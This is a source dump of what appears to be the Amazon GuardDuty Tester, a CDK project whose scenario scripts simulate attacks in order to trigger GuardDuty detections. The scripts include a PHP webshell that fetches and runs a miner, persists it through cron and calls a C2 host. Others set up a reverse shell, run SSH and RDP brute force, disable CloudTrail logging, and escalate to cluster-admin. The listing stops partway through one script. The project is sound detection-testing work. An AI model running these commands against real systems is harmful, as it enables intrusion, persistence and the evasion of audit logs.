├── .gitignore ├── lib ├── common │ ├── compute │ │ ├── lambda │ │ │ ├── tester_lambda │ │ │ │ ├── requirements.txt │ │ │ │ └── tester_lambda.py │ │ │ ├── setting_restore │ │ │ │ ├── requirements.txt │ │ │ │ └── setting_restore.py │ │ │ ├── cfn_on_event │ │ │ │ ├── requirements.txt │ │ │ │ └── cfn_on_event.py │ │ │ ├── lambda-props.ts │ │ │ ├── test-settings-lambda.ts │ │ │ ├── finding-lambda.ts │ │ │ └── cfn-action-lambda.ts │ │ ├── ec2 │ │ │ ├── ec2-props.ts │ │ │ ├── windows-instance.ts │ │ │ ├── ubuntu-instance.ts │ │ │ └── debian-instance.ts │ │ └── eks │ │ │ └── tester-eks.ts │ ├── testResources │ │ ├── Dockerfile │ │ ├── driver_tool_install.service │ │ ├── runtimeScenarios │ │ │ ├── php-webshell │ │ │ │ ├── files │ │ │ │ │ ├── deploy_php.yaml │ │ │ │ │ ├── attack.sh │ │ │ │ │ ├── index.php │ │ │ │ │ └── python_server.py │ │ │ │ ├── attack.py │ │ │ │ └── deploy_php.sh │ │ │ ├── java-webshell │ │ │ │ ├── files │ │ │ │ │ ├── tomcat.yaml │ │ │ │ │ ├── attack.sh │ │ │ │ │ ├── index.jsp │ │ │ │ │ └── python_server.py │ │ │ │ ├── attack.py │ │ │ │ └── deploy_java.sh │ │ │ └── hadoop-yarn-job │ │ │ │ ├── deploy_hadoop.sh │ │ │ │ ├── files │ │ │ │ ├── run_attack_remotely.sh │ │ │ │ ├── attack.sh │ │ │ │ ├── python_server.py │ │ │ │ └── deploy_hadoop_script.sh │ │ │ │ └── attack.py │ │ ├── scenarios │ │ │ ├── iam │ │ │ │ ├── ReconMaliciousIPCaller-Custom.sh │ │ │ │ ├── UnauthMaliciousIPCaller-Custom.sh │ │ │ │ ├── PasswordPolicyChange.sh │ │ │ │ ├── CloudTrailLoggingDisabled.sh │ │ │ │ ├── InstanceCredentialExfiltration-OutsideAWS.sh │ │ │ │ ├── ReconTorIPCaller.sh │ │ │ │ └── KaliLinux.sh │ │ │ ├── ec2 │ │ │ │ ├── Portscan.sh │ │ │ │ ├── DNSDataExfiltration.sh │ │ │ │ ├── RDPBruteForce.sh │ │ │ │ ├── SSHBruteForce.sh │ │ │ │ ├── DenialOfService-DNS.sh │ │ │ │ └── DenialOfService-UDP.sh │ │ │ ├── s3 │ │ │ │ ├── DiscoveryMaliciousIPCaller-Custom.sh │ │ │ │ ├── ServerAccessLoggingDisabled.sh │ │ │ │ ├── UnauthMaliciousIPCaller-Custom.sh │ │ │ │ ├── BucketBlockPublicAccessDisabled.sh │ │ │ │ ├── AccountBlockPublicAccessDisabled.sh │ │ │ │ ├── BucketAnonymousAccessGranted.sh │ │ │ │ ├── BucketPublicAccessGranted.sh │ │ │ │ ├── DiscoveryTorIPCaller.sh │ │ │ │ ├── UnauthTorIPCaller.sh │ │ │ │ └── KaliLinux.sh │ │ │ ├── runtime │ │ │ │ ├── DockerSocketAccessed.sh │ │ │ │ ├── ReverseShell.sh │ │ │ │ ├── ContainerMountsHostDirectory.sh │ │ │ │ ├── ProcessInjection-Ptrace.sh │ │ │ │ └── ProcessInjection-VirtualMemoryWrite.sh │ │ │ ├── threatIntel │ │ │ │ └── request.sh │ │ │ ├── eks │ │ │ │ ├── ExecInKubeSystemPod.sh │ │ │ │ ├── AdminAccessToDefaultServiceAccount.sh │ │ │ │ ├── ImpactMaliciousIPCaller-Custom.sh │ │ │ │ ├── DiscoveryMaliciousIPCaller-Custom.sh │ │ │ │ ├── AnonymousAccessGranted.sh │ │ │ │ ├── TorIPCaller.sh │ │ │ │ ├── PrivilegedContainer.sh │ │ │ │ ├── ContainerWithSensitiveMount.sh │ │ │ │ └── SuccessfulAnonymousAccess.sh │ │ │ ├── lambda │ │ │ │ └── request.sh │ │ │ └── attack │ │ │ │ └── S3CompromisedData.sh │ │ ├── driver_tool_install.sh │ │ ├── script_tail.sh │ │ └── guardduty_tester.py │ ├── access │ │ ├── securityGroup │ │ │ ├── security-group-props.ts │ │ │ ├── cluster-security-group.ts │ │ │ ├── windows-security-group.ts │ │ │ ├── eks-security-group.ts │ │ │ └── debian-security-group.ts │ │ └── iam │ │ │ ├── ecs-task-role.ts │ │ │ ├── finding-lambda-role.ts │ │ │ ├── tester-temp-tole.ts │ │ │ ├── ecs-task-execution-role.ts │ │ │ ├── ubuntu-role.ts │ │ │ ├── settings-lambda-role.ts │ │ │ ├── debian-role.ts │ │ │ └── cfn-action-lambda-role.ts │ ├── management │ │ ├── cloudtrail │ │ │ └── tester-cloudtrail.ts │ │ └── step-function │ │ │ └── step-function.ts │ ├── storage │ │ └── s3 │ │ │ ├── empty-bucket.ts │ │ │ └── tester-bucket.ts │ └── network │ │ └── vpc.ts └── stacks │ ├── constants.ts │ └── tester-stack.ts ├── .DS_Store ├── GuardDutyTester.png ├── NOTICE ├── .prettierrc.js ├── jest.config.js ├── .github └── PULL_REQUEST_TEMPLATE.md ├── SECURITY.md ├── CODE_OF_CONDUCT.md ├── tsconfig.json ├── test └── cdk-gd-tester.test.ts ├── package.json ├── artifacts ├── never_used_sample_key.foo └── password_list.txt ├── bin └── cdk-gd-tester.ts ├── cdk.json ├── .eslintrc.js ├── CONTRIBUTING.md ├── runtimeMonitoringScenarios └── README.md └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | cdk.context.json 3 | cdk.out/ 4 | node_modules/ 5 | -------------------------------------------------------------------------------- /lib/common/compute/lambda/tester_lambda/requirements.txt: -------------------------------------------------------------------------------- 1 | aws_lambda_powertools -------------------------------------------------------------------------------- /lib/common/compute/lambda/setting_restore/requirements.txt: -------------------------------------------------------------------------------- 1 | aws_lambda_powertools -------------------------------------------------------------------------------- /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awslabs/amazon-guardduty-tester/HEAD/.DS_Store -------------------------------------------------------------------------------- /lib/common/compute/lambda/cfn_on_event/requirements.txt: -------------------------------------------------------------------------------- 1 | urllib3 == 1.26.1 2 | aws_lambda_powertools 3 | -------------------------------------------------------------------------------- /GuardDutyTester.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awslabs/amazon-guardduty-tester/HEAD/GuardDutyTester.png -------------------------------------------------------------------------------- /NOTICE: -------------------------------------------------------------------------------- 1 | Amazon Guardduty Tester 2 | Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. 3 | -------------------------------------------------------------------------------- /.prettierrc.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | printWidth: 120, 3 | semi: true, 4 | singleQuote: true, 5 | tabWidth: 2, 6 | trailingComma: "all" 7 | }; 8 | -------------------------------------------------------------------------------- /jest.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | testEnvironment: 'node', 3 | roots: ['/test'], 4 | testMatch: ['**/*.test.ts'], 5 | transform: { 6 | '^.+\\.tsx?$': 'ts-jest' 7 | } 8 | }; 9 | -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | *Issue #, if available:* 2 | 3 | *Description of changes:* 4 | 5 | 6 | By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license. 7 | -------------------------------------------------------------------------------- /lib/common/testResources/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM public.ecr.aws/amazonlinux/amazonlinux:latest 2 | WORKDIR / 3 | RUN yum install nc sudo gcc gcc-c++ -y 4 | COPY eks.sh /eks-runtime-tests.sh 5 | RUN chmod +x /eks-runtime-tests.sh 6 | ENTRYPOINT ["/eks-runtime-tests.sh"] 7 | CMD ["bash"] -------------------------------------------------------------------------------- /lib/common/testResources/driver_tool_install.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Installation of testing tools 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | ExecStart=/home/ssm-user/py_tester/driver_tool_install.sh 8 | 9 | [Install] 10 | WantedBy=multi-user.target -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | ## Security issue notifications 2 | If you discover a potential security issue in this project we ask that you notify AWS/Amazon Security via our [vulnerability reporting page](http://aws.amazon.com/security/vulnerability-reporting/). Please do **not** create a public github issue. -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | ## Code of Conduct 2 | This project has adopted the [Amazon Open Source Code of Conduct](https://aws.github.io/code-of-conduct). 3 | For more information see the [Code of Conduct FAQ](https://aws.github.io/code-of-conduct-faq) or contact 4 | opensource-codeofconduct@amazon.com with any additional questions or comments. -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/php-webshell/files/deploy_php.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: php-app 5 | labels: 6 | app: php-app 7 | spec: 8 | containers: 9 | - name: php-apache 10 | image: ${IMAGE_NAME} 11 | ports: 12 | - containerPort: 80 13 | securityContext: 14 | privileged: true 15 | 16 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/php-webshell/files/attack.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Getting php-app service endpoint" 4 | export ip=`kubectl get pods php-app -o jsonpath='{.status.podIP}'` 5 | echo $ip 6 | 7 | echo 8 | echo "Accessing index.php and deploying webshell as run.php" 9 | curl http://$ip/ 10 | 11 | echo 12 | echo "Injecting command through the webshell run.php" 13 | 14 | curl http://$ip/run.php 15 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/java-webshell/files/tomcat.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Pod 3 | metadata: 4 | name: tomcat-pod 5 | labels: 6 | app: tomcat 7 | spec: 8 | containers: 9 | - name: tomcat 10 | image: ${IMAGE_NAME} 11 | ports: 12 | - containerPort: 8080 13 | env: 14 | - name: CATALINA_OPTS 15 | value: "-Djava.net.preferIPv4Stack=true" 16 | securityContext: 17 | privileged: true 18 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/iam/ReconMaliciousIPCaller-Custom.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws s3 ls -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/ec2/Portscan.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | sudo nmap -sT -Pn $RED_TEAM_IP > /dev/null 15 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/DiscoveryMaliciousIPCaller-Custom.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws s3 ls $S3_BUCKET_NAME -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/ec2/DNSDataExfiltration.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | dig -f ../domains/queries.txt > /dev/null & -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/iam/UnauthMaliciousIPCaller-Custom.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws iam get-user --user-name admin > /dev/null 2>&1 -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/iam/PasswordPolicyChange.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws iam update-account-password-policy --minimum-password-length 6 -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/iam/CloudTrailLoggingDisabled.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws cloudtrail stop-logging --name $CLOUD_TRAIL_NAME --region $REGION -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/ServerAccessLoggingDisabled.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws s3api put-bucket-logging --bucket $S3_BUCKET_NAME --bucket-logging-status "{}" -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/UnauthMaliciousIPCaller-Custom.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws s3 cp s3://$S3_BUCKET_NAME/tester_script_custom_threat.txt temp.txt && rm temp.txt -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/runtime/DockerSocketAccessed.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | bash -c 'nc -lU /var/run/docker.sock &' 15 | echo SocketAccessd | nc -w5 -U /var/run/docker.sock -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/ec2/RDPBruteForce.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | sudo hydra -f -L /home/ssm-user/users -P /home/ssm-user/passwords/password_list.txt rdp://$WINDOWS_IP > /dev/null -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2022", 4 | "module": "commonjs", 5 | "lib": [ 6 | "es2022", 7 | "dom" 8 | ], 9 | "declaration": true, 10 | "strict": true, 11 | "noImplicitAny": true, 12 | "strictNullChecks": true, 13 | "noImplicitThis": true, 14 | "alwaysStrict": true, 15 | "noUnusedLocals": false, 16 | "noUnusedParameters": false, 17 | "noImplicitReturns": true, 18 | "noFallthroughCasesInSwitch": false, 19 | "inlineSourceMap": true, 20 | "inlineSources": true, 21 | "experimentalDecorators": true, 22 | "strictPropertyInitialization": false, 23 | "typeRoots": [ 24 | "./node_modules/@types" 25 | ] 26 | }, 27 | "exclude": [ 28 | "node_modules", 29 | "cdk.out" 30 | ] 31 | } 32 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/threatIntel/request.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | dd if=/dev/random of=PAYLOAD bs=1024 count=1 15 | curl -X POST -F "file=@PAYLOAD" -s --connect-timeout 1 http://$INDICATOR/sample.dat > /dev/null -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/eks/ExecInKubeSystemPod.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | kubectl exec -n kube-system $(kubectl get pods -n kube-system | awk '{if ($1 ~ /kube-proxy/) print $1}') -- kube-proxy -h || true > /dev/null 15 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/ec2/SSHBruteForce.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | for j in `seq 1 20`; do sudo /home/ssm-user/crowbar/crowbar.py -b sshkey -s $LINUX_IP/32 -U /home/ssm-user/users -k /home/ssm-user/compromised_keys &> /dev/null ; done 15 | -------------------------------------------------------------------------------- /lib/common/compute/lambda/lambda-props.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | export interface CfnLambdaProps { 15 | bucketName?: string; 16 | region?: string; 17 | bucketArn: string; 18 | accountId: string; 19 | ecrRepo?: string; 20 | asgName?: string; 21 | } 22 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/hadoop-yarn-job/deploy_hadoop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo yum install -y https://s3.amazonaws.com/session-manager-downloads/plugin/latest/linux_64bit/session-manager-plugin.rpm 4 | 5 | echo "Getting region from IMDSv2..." 6 | TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 7 | REGION=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region) 8 | 9 | aws ssm start-session --region $REGION --document-name AWS-StartInteractiveCommand --parameters command="/home/ssm-user/py_tester/runtimeScenarios/hadoop-yarn-job/files/deploy_hadoop_script.sh" --target $(aws ec2 describe-instances --region $REGION --filters "Name=tag:Name,Values=Ubuntu-GuardDutyTester" --query "Reservations[].Instances[?State.Name=='running'].InstanceId" --output text) 10 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/hadoop-yarn-job/files/run_attack_remotely.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo yum install -y https://s3.amazonaws.com/session-manager-downloads/plugin/latest/linux_64bit/session-manager-plugin.rpm 4 | 5 | echo "Getting region from IMDSv2..." 6 | TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` 7 | REGION=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region) 8 | 9 | aws ssm start-session --region $REGION --document-name AWS-StartInteractiveCommand --parameters command="/home/ssm-user/py_tester/runtimeScenarios/hadoop-yarn-job/files/attack.sh" --target $(aws ec2 describe-instances --region $REGION --filters "Name=tag:Name,Values=Ubuntu-GuardDutyTester" --query "Reservations[].Instances[?State.Name=='running'].InstanceId" --output text) 10 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/BucketBlockPublicAccessDisabled.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws s3api put-public-access-block --bucket $EMPTY_BUCKET_NAME --public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false" -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/eks/AdminAccessToDefaultServiceAccount.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws eks --region $REGION update-kubeconfig --name $EKS_CLUSTER_NAME 15 | kubectl patch clusterrolebinding cluster-admin -p '{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}' -------------------------------------------------------------------------------- /lib/common/access/securityGroup/security-group-props.ts: -------------------------------------------------------------------------------- 1 | //Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"). 4 | // You may not use this file except in compliance with the License. 5 | // A copy of the License is located at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // or in the "license" file accompanying this file. This file is distributed 10 | // on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | // express or implied. See the License for the specific language governing 12 | // permissions and limitations under the License. 13 | 14 | import { type Vpc } from 'aws-cdk-lib/aws-ec2'; 15 | 16 | /** 17 | * Interface defining base parameters for security group 18 | */ 19 | export interface SecGroupProps { 20 | vpc: Vpc; 21 | ingressSgId?: string; 22 | } 23 | -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/lambda/request.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | IFS=':' read -r IP PORT <<< "$INDICATOR" 15 | aws lambda invoke --function-name $LAMBDA_NAME --invocation-type Event --region $REGION --cli-binary-format raw-in-base64-out --payload '{"ip":"'$IP'","port":"'$PORT'"}' response.json > /dev/null -------------------------------------------------------------------------------- /lib/common/testResources/scenarios/s3/AccountBlockPublicAccessDisabled.sh: -------------------------------------------------------------------------------- 1 | #Copyright 2024 Amazon.com, Inc. or its affiliates. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"). 4 | # You may not use this file except in compliance with the License. 5 | # A copy of the License is located at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # or in the "license" file accompanying this file. This file is distributed 10 | # on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | # express or implied. See the License for the specific language governing 12 | # permissions and limitations under the License. 13 | 14 | aws s3control put-public-access-block --account-id $ACCNT_ID --region $REGION --public-access-block-configuration '{"BlockPublicAcls": false, "IgnorePublicAcls": false, "BlockPublicPolicy": false, "RestrictPublicBuckets": false}' -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/php-webshell/files/index.php: -------------------------------------------------------------------------------- 1 | /tmp/output"); 6 | echo "Downloading and executing malware\n\n"; 7 | shell_exec("wget http://203.0.113.1:33333/ls -O /tmp/xmrig; chmod +x /tmp/xmrig; /tmp/xmrig; cp /bin/ls /tmp/nmap; chmod +x /tmp/nmap; /tmp/nmap; curl --connect-timeout 1 http://c2.guarddutyc2activityb.com/") 8 | ?>'); 9 | echo "Persisting malware as a cron job\n\n"; 10 | shell_exec("echo \"0 0 * * * /tmp/xmrig\" > /tmp/run && crontab /tmp/run"); 11 | 12 | echo "File run.php created successfully. Visit /run.php to execute system command."; 13 | ?> 14 | -------------------------------------------------------------------------------- /lib/common/testResources/runtimeScenarios/java-webshell/files/attack.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | POD_NAME="tomcat-pod" 4 | 5 | echo "Getting the pod IP of the Tomcat pod..." 6 | IP=`kubectl get pods $POD_NAME -o jsonpath='{.status.podIP}'` 7 | echo "The Tomcat pod IP is $IP." 8 | echo 9 | 10 | echo "Injecting Java code to create a backdoor (run.jsp) that creates a reverseshell to CnC..." 11 | curl http://$IP:8080/ 12 | 13 | echo 14 | echo "Using netcat to listen on port 4444 to receive a reverseshell connection and execute commands...." 15 | nohup kubectl exec -it $POD_NAME -- timeout 60s bash -c "echo 'wget http://203.0.113.1:33333/ls -O /tmp/cnrig;chmod +x /tmp/cnrig;/tmp/cnrig;curl --connect-timeout 1 